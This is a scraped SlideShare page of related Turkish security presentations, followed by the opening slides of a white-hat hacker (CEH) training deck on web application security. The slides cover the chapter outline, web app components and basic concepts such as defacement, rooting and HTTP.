Kablosuz Ağlarda GüvenlikKablosuz Ağlarda Güvenlik
Kablosuz Ağlarda Güvenlik
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMA
 
Metasploit Framework Eğitimi
Metasploit Framework EğitimiMetasploit Framework Eğitimi
Metasploit Framework Eğitimi
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
 

En vedette

Her Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratıHer Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratıBGA Cyber Security
 
Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı BGA Cyber Security
 
Kali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRADKali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRADMehmet Ince
 
DDoS Saldırıları ve Korunma Yolları
DDoS Saldırıları ve Korunma YollarıDDoS Saldırıları ve Korunma Yolları
DDoS Saldırıları ve Korunma YollarıBGA Cyber Security
 
Özgür yazılımlarla DDOS Engelleme
Özgür yazılımlarla DDOS EngellemeÖzgür yazılımlarla DDOS Engelleme
Özgür yazılımlarla DDOS EngellemeBGA Cyber Security
 
OpenBSD PAcket Filter DDoS Koruma Özellikleri
OpenBSD PAcket Filter DDoS Koruma ÖzellikleriOpenBSD PAcket Filter DDoS Koruma Özellikleri
OpenBSD PAcket Filter DDoS Koruma ÖzellikleriBGA Cyber Security
 
Kablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıKablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıBGA Cyber Security
 
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik YaklaşımlarıAndroid Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik YaklaşımlarıBGA Cyber Security
 
Güvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya KurtarmaGüvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya KurtarmaBGA Cyber Security
 
Yeni Nesil Küresel Savaş: Siber Saldırılar
Yeni Nesil Küresel Savaş: Siber SaldırılarYeni Nesil Küresel Savaş: Siber Saldırılar
Yeni Nesil Küresel Savaş: Siber SaldırılarBGA Cyber Security
 
Snort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) EğitimiSnort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) EğitimiBGA Cyber Security
 
Ağ tabanlı Saldırı Tespit Sistemleri
Ağ tabanlı Saldırı Tespit SistemleriAğ tabanlı Saldırı Tespit Sistemleri
Ağ tabanlı Saldırı Tespit Sistemleriosmncht
 

En vedette (17)

Her Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratıHer Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratı
 
Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı
 
Kali linux
Kali linuxKali linux
Kali linux
 
Kali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRADKali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRAD
 
DDoS Saldırıları ve Korunma Yolları
DDoS Saldırıları ve Korunma YollarıDDoS Saldırıları ve Korunma Yolları
DDoS Saldırıları ve Korunma Yolları
 
Özgür yazılımlarla DDOS Engelleme
Özgür yazılımlarla DDOS EngellemeÖzgür yazılımlarla DDOS Engelleme
Özgür yazılımlarla DDOS Engelleme
 
OpenBSD PAcket Filter DDoS Koruma Özellikleri
OpenBSD PAcket Filter DDoS Koruma ÖzellikleriOpenBSD PAcket Filter DDoS Koruma Özellikleri
OpenBSD PAcket Filter DDoS Koruma Özellikleri
 
Wimax sunum
Wimax sunumWimax sunum
Wimax sunum
 
Kablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıKablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı Araçları
 
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik YaklaşımlarıAndroid Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
 
Slideshare net
Slideshare netSlideshare net
Slideshare net
 
Güvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya KurtarmaGüvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya Kurtarma
 
Yeni Nesil Küresel Savaş: Siber Saldırılar
Yeni Nesil Küresel Savaş: Siber SaldırılarYeni Nesil Küresel Savaş: Siber Saldırılar
Yeni Nesil Küresel Savaş: Siber Saldırılar
 
Kablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli AnalizKablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli Analiz
 
Snort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) EğitimiSnort IPS(Intrusion Prevention System) Eğitimi
Snort IPS(Intrusion Prevention System) Eğitimi
 
Ağ tabanlı Saldırı Tespit Sistemleri
Ağ tabanlı Saldırı Tespit SistemleriAğ tabanlı Saldırı Tespit Sistemleri
Ağ tabanlı Saldırı Tespit Sistemleri
 
BackTrack Linux-101 Eğitimi
BackTrack Linux-101 EğitimiBackTrack Linux-101 Eğitimi
BackTrack Linux-101 Eğitimi
 

Similaire à Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12

Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web	Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiWeb	Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiBGA Cyber Security
 
Web Application Firewall Tercih Rehberi
Web Application Firewall Tercih RehberiWeb Application Firewall Tercih Rehberi
Web Application Firewall Tercih RehberiBGA Cyber Security
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Securitymtimur
 
Güvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi ToplamaGüvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi ToplamaBGA Cyber Security
 
Oylg2013 web uygulamalari sizmatesti
Oylg2013 web uygulamalari sizmatestiOylg2013 web uygulamalari sizmatesti
Oylg2013 web uygulamalari sizmatestiMehmet Ince
 
Microservices Architecture
Microservices ArchitectureMicroservices Architecture
Microservices ArchitectureDilaver Demirel
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
SAP Forum 2009: FIT Sap Güvenlik Servisleri
SAP Forum 2009: FIT Sap Güvenlik ServisleriSAP Forum 2009: FIT Sap Güvenlik Servisleri
SAP Forum 2009: FIT Sap Güvenlik ServisleriFIT Consulting
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...BGA Cyber Security
 
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru EntegrasyonuBaşarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru EntegrasyonuBGA Cyber Security
 
Siber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka KapılarSiber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka KapılarBGA Cyber Security
 
Yeni Nesil DDOS Saldırıları ve Korunma Yöntemleri
Yeni Nesil DDOS Saldırıları ve Korunma YöntemleriYeni Nesil DDOS Saldırıları ve Korunma Yöntemleri
Yeni Nesil DDOS Saldırıları ve Korunma YöntemleriBGA Cyber Security
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfMert339194
 
003 Net Weaver B Berry Servis
003  Net Weaver  B Berry  Servis003  Net Weaver  B Berry  Servis
003 Net Weaver B Berry ServisAhmet Bilgen
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıAhmet Gürel
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Mehmet Ince
 
Ozgur Web Catilari Mobil Uygulama Gelistirme
Ozgur Web Catilari Mobil Uygulama GelistirmeOzgur Web Catilari Mobil Uygulama Gelistirme
Ozgur Web Catilari Mobil Uygulama GelistirmeBurak Dede
 

Similaire à Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12 (20)

Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web	Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiWeb	Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
 
Web Application Firewall Tercih Rehberi
Web Application Firewall Tercih RehberiWeb Application Firewall Tercih Rehberi
Web Application Firewall Tercih Rehberi
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Security
 
Güvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi ToplamaGüvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi Toplama
 
12factor apps
12factor apps12factor apps
12factor apps
 
Windows Server 2008 R2 Ve Yenilikler
Windows Server 2008 R2 Ve YeniliklerWindows Server 2008 R2 Ve Yenilikler
Windows Server 2008 R2 Ve Yenilikler
 
Oylg2013 web uygulamalari sizmatesti
Oylg2013 web uygulamalari sizmatestiOylg2013 web uygulamalari sizmatesti
Oylg2013 web uygulamalari sizmatesti
 
Mobil Pentest Örnek Not
Mobil Pentest Örnek NotMobil Pentest Örnek Not
Mobil Pentest Örnek Not
 
Microservices Architecture
Microservices ArchitectureMicroservices Architecture
Microservices Architecture
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
SAP Forum 2009: FIT Sap Güvenlik Servisleri
SAP Forum 2009: FIT Sap Güvenlik ServisleriSAP Forum 2009: FIT Sap Güvenlik Servisleri
SAP Forum 2009: FIT Sap Güvenlik Servisleri
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
 
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru EntegrasyonuBaşarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
 
Siber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka KapılarSiber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka Kapılar
 
Yeni Nesil DDOS Saldırıları ve Korunma Yöntemleri
Yeni Nesil DDOS Saldırıları ve Korunma YöntemleriYeni Nesil DDOS Saldırıları ve Korunma Yöntemleri
Yeni Nesil DDOS Saldırıları ve Korunma Yöntemleri
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdf
 
003 Net Weaver B Berry Servis
003  Net Weaver  B Berry  Servis003  Net Weaver  B Berry  Servis
003 Net Weaver B Berry Servis
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim Dökümanı
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
Ozgur Web Catilari Mobil Uygulama Gelistirme
Ozgur Web Catilari Mobil Uygulama GelistirmeOzgur Web Catilari Mobil Uygulama Gelistirme
Ozgur Web Catilari Mobil Uygulama Gelistirme
 

Plus de BGA Cyber Security

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiBGA Cyber Security
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfBGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiBGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?BGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBGA Cyber Security
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketlerBGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriBGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakBGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIBGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiBGA Cyber Security
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİBGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerBGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsBGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiBGA Cyber Security
 
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıGüvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıBGA Cyber Security
 

Plus de BGA Cyber Security (20)

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketler
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-II
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
 
Siber Fidye 2020 Raporu
Siber Fidye 2020 RaporuSiber Fidye 2020 Raporu
Siber Fidye 2020 Raporu
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain Tespiti
 
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıGüvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
 

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12

  • 1. @BGASecurity BEYAZ ŞAPKALI HACKER EĞİTİMİ BÖLÜMLER X – XI – XII - 2014-
  • 2. @BGASecurity BGA Bilgi Güvenliği A.Ş BGA Security Hakkında Siber güvenlik dünyasına yönelik, yenilikçi profesyonel çözümleri ile katkıda bulunmak amacı ile 2008 yılında kurulan BGA Bilgi Güvenliği A.Ş. stratejik siber güvenlik danışmanlığı ve güvenlik eğitimleri konularında büyük ölçekli çok sayıda kuruma hizmet vermektedir. Gerçekleştirdiği vizyoner danışmanlık projeleri ve nitelikli eğitimleri ile sektörde saygın bir yer kazanan BGA Bilgi Güvenliği, kurulduğu günden bugüne kadar alanında lider finans, enerji, telekom ve kamu kuruluşları ile 1.000'den fazla eğitim ve danışmanlık projelerine imza atmıştır. ARGE EĞİTİM MSSP PENTEST SOME / SOC SECOPS BGA | Hakkında
  • 4. BGA | CEH @BGASecurity Bölüm Amacı  Web uygulamalarının çalışma mantığı ve güvenlik açısından incelenmesi  Web uygulamalarına “hacker” bakışı  Web uygulamalarına yönelik basit ama etkili saldırı tekniklerini öğrenme  Detay web uygulama güvenliği için:  Web Application Pentest Eğitimi
  • 5. BGA | CEH @BGASecurity Bölüm İçeriği  Web uygulamaları ve HTTP  Web uygulamaları güvenliği  Web uygulama testlerinde bilgi toplama  İstemci tarafı kontrollerin aşılması  OWASP Top 10 güvenlik açıklığı  SQLi, XSS, CSRF, ForcefulBrowsing, LFI/RFI ...  Web uygulama güvenlik test araçları  Web sunuculara yönelik DOS saldırıları  WAF/IPS ve atlatma teknikleri
  • 6. BGA | CEH @BGASecurity Web Uygulamaları  WEB uygulamaları günümüzü ve geleceğimizi kuşatmış durumda:  Müzik dinleme:last.fm, fizy.org  Ofis Belgeleri için:Google Docs  Resim işleme amaçlı:Google Picasa, flickr  (A)Sosyal Hayat: Facebook, Friendfeed, twitter  Alışveriş, Para işleri:Paypal.com, online alışveriş siteleri  İletişim:E-posta->Webmail hizmetleri  Yakın gelecekte web tabanlı işletim sistemleri kullanılmaya başlanacak.
  • 7. BGA | CEH @BGASecurity Web Uygulama Bileşenleri  Statik sayfalar  HTML  Dinamik sayfalar  CGI, ASP, PHP, Perl, Asp.net, JSP  Veritabanı  Mysql, MsSQL, Oracle, Sybase  Web servisleri  Kullanıcı browserları Web uygulamalarında çıkan açıklar sadece uygulamayı değil bağlı bulunduğu ekosistemi de etkiler.
  • 8. BGA | CEH @BGASecurity Web Uygulama Güvenliğinin Önemi
  • 9. BGA | CEH @BGASecurity Web Uygulamalarının Güvensizliği  Web uygulamalarında amaç herkese hizmet verebilmektir  Uygulama geliştirme için bir standart henüz yerleşmediği için yazılımı geliştirenler kolay hata yapabilir  Web uygulamalarında yapılan hatalar daha fazla dikkat çeker ve saldırıya açıktır  Birilerinin sizi takip etmesine gerek yok  Google üzerinden aramalarla sayfalarınız hacklenebilir
  • 10. BGA | CEH @BGASecurity Web Uygulamalarının Güvensizliği-II  Koruma amaçlı geliştirilen yazılımlar stabil değil  Fazla müdahele ister(WAF sistemleri)  Geliştirme aşamalarında güvenlik önemsenmiyor  Kalite ve güvenlin en sonda gelir, öncelikli iş kısa sürede işlevsel bir uygulamanın ortaya çıkması.
  • 11. BGA | CEH @BGASecurity Kavramlar: Defacement Defacement=web sayfasının giriş sayfasının değiştirilmesi
  • 12. BGA | CEH @BGASecurity Defacement Arşivi: Zone-H Birincilik Türk’lerde...
  • 13. BGA | CEH @BGASecurity Kavramlar: Hacking  Web uygulamaları kullanılarak veri çalma, sistemlere sızma şekli  Daha fazla bilgi ve beceri ister  Sadece web güvenliği değil, Linux/Windows bilgisine de ihtiyaç vardır  Sonuçları daha maliyetli olur Kevinmitnick.com
  • 14. BGA | CEH @BGASecurity Kavramlar: Root’lama(Rooting)  Web sunucudaki bri açıklıktan faydalanarak, Linux sistemlerde root olma  Linux kernelindeki local privilege esc. Exploitleri kullanılır
  • 15. BGA | CEH @BGASecurity Web Sitelerinin Güvenlik Bileşenleri
  • 16. BGA | CEH @BGASecurity WEB Protokolü: HTTP  HTTP(Hypertext Transfer Protocol, OSI modelinde uygulama katmanında yer alan iletişim protokolüdür.  Günümüzde zamanımızın çoğunu geçirdiğimiz, sanal dünyada en sık kullanılan protokoldür. (%96 civarında)
